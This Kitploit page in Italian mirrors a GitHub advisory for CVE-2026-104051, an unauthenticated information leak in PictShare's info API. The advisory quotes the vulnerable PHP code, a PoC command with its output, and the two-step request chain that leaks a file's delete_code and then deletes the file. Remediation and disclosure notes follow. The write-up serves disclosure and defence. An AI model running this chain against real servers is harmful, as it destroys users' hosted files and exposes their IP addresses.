Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-104051-pictshare-info-disclosure — Divulgazione di informazioni sensibili tramite l'API info in PictShare < 3.7.1 (CWE-522). PoC + advisory writeup. | Kitploit
Strumenti/GitHubGitHub/wvllxe/cve-2026-104051-pictshare-info-disclosure
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiRaccolta InformazioniSicurezza WebPaper e RicercaApprendimento e Formazione
GitHub
wvllxe/cve-2026-104051-pictshare-info-disclosure

CVE-2026-104051-pictshare-info-disclosure

Divulgazione di informazioni sensibili tramite l'API info in PictShare < 3.7.1 (CWE-522). PoC + advisory writeup.

Vedi Repository
22719 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-104051 — Divulgazione di informazioni sensibili tramite l'API info in PictShare

Ricerca di sicurezza autorizzata. PoC solo per uso difensivo ed educativo.

CVSS 3.1 CVSS 4.0 CWE-522 Status

L'endpoint /api/info/<hash> di PictShare restituisce l'oggetto completo di metadati grezzi per qualsiasi file caricato — incluso il delete_code segreto che autorizza la cancellazione, oltre all'IP dell'uploader, allo User-Agent, alla porta remota e allo SHA-1. Un attaccante non autenticato che conosce l'hash (pubblicamente visibile) di un file può leggerne il delete_code e quindi cancellare permanentemente file arbitrari ospitati.

CVECVE-2026-104051
ProdottoPictShare (host di immagini/media self-hosted)
Affetto>= 2.0.0, < 3.7.1
Corretto inv3.7.1
VulnerabilitàCredenziali insufficientemente protette (CWE-522) → cancellazione arbitraria di file + perdita di privacy
PrivilegiNessuno (non autenticato)
CVSS 3.18.2 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
CVSS 4.08.8 HIGH — AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H
Scoperto daAlisher Qarshibayev
AdvisoryVulnCheck

Causa principale

API::info() cerca l'hash e restituisce getMetadataOfHash() verbatim — nessuna whitelist di campi:

// src/inc/api.class.php  (< 3.7.1)
public function info()
{
    $hash = $this->url[1] ?? '';
    if (!$hash)                  return ['status' => 'err', 'reason' => 'Missing hash'];
    if (!isExistingHash($hash))  return ['status' => 'err', 'reason' => 'Hash not found'];

    return getMetadataOfHash($hash);   // <-- raw meta.json, includes delete_code, ip, useragent
}

E checkPermissions() — l'unico controllo prima della rotta info — verifica la scrivibilità del filesystem, non l'identità, quindi info è raggiungibile senza autenticazione:

public function checkPermissions()
{
    if (!isFolderWritable(getDataDir()))      throw new Exception('Data directory not writable');
    else if (!isFolderWritable(ROOT.DS.'tmp')) throw new Exception('Temp directory not writable');
}

I metadati restituiti contengono delete_code, che l'API di cancellazione accetta come unico segreto di autorizzazione:

// src/inc/api.class.php  delete()
$correctCode = getDeleteCodeOfHash($hash);
if ($correctCode !== $code && $masterCode !== $code)
    return ['status' => 'err', 'reason' => 'Invalid delete code'];
deleteHash($hash);

Gli hash dei file sono pubblici (compaiono in ogni URL di immagine condivisa), quindi l'intera catena — trapelare il codice tramite info, poi cancellare tramite delete — non richiede altro che l'URL che un utente ha già condiviso.

Proof of Concept

python3 poc.py --url https://pics.example.com --hash <public_file_hash>
# add --delete to actually exercise the deletion (destructive) step

Risultato atteso:

[*] GET /api/info/<hash>
[+] Leaked metadata via info API:
      delete_code : 7f3a9c1e...   <-- SECRET, should never be exposed
      ip          : 203.0.113.44  <-- uploader privacy leak
      useragent   : Mozilla/5.0 ...
      remote_port : 51544
      sha1        : da39a3ee...
[+] CVE-2026-104051 confirmed: delete_code exposed to unauthenticated caller
[i] With --delete: GET /api/delete/<leaked_code>/<hash> -> {"status":"ok"}

Vedi poc.py. La cancellazione è opt-in (--delete) quindi l'esecuzione predefinita è di sola lettura e non distruttiva.

Impatto

  • Qualsiasi visitatore non autenticato può cancellare qualsiasi file ospitato usando solo il suo hash pubblico → perdita di disponibilità / integrità di tutti i contenuti ospitati.
  • Divulgazione di PII dell'uploader (IP, User-Agent, porta remota) → deanonimizzazione e perdita di privacy.

Remediation

Aggiornare a PictShare 3.7.1 (commit di fix ce5fc47). info() ora restituisce una whitelist rigorosa (mime, size, hash, sha1, uploaded) e non trapela più delete_code, ip, useragent o remote_port. Indicazione generale: le risposte API devono elencare esplicitamente i campi consentiti; non serializzare mai un record interno che mescola segreti con dati pubblici.

Correlato: CVE-2026-104356 — anche senza questa fuga di dati, il delete_code era prevedibile perché generato con rand().

Cronologia

DataEvento
2026-10-01Divulgazione pubblica, CVE riservato e pubblicato (VulnCheck), corretto in v3.7.1

Divulgazione

Divulgato in modo responsabile al fornitore e coordinato tramite VulnCheck. Corretto prima del rilascio di questo PoC. Pubblicato per scopi difensivi ed educativi.

Scarica lo strumento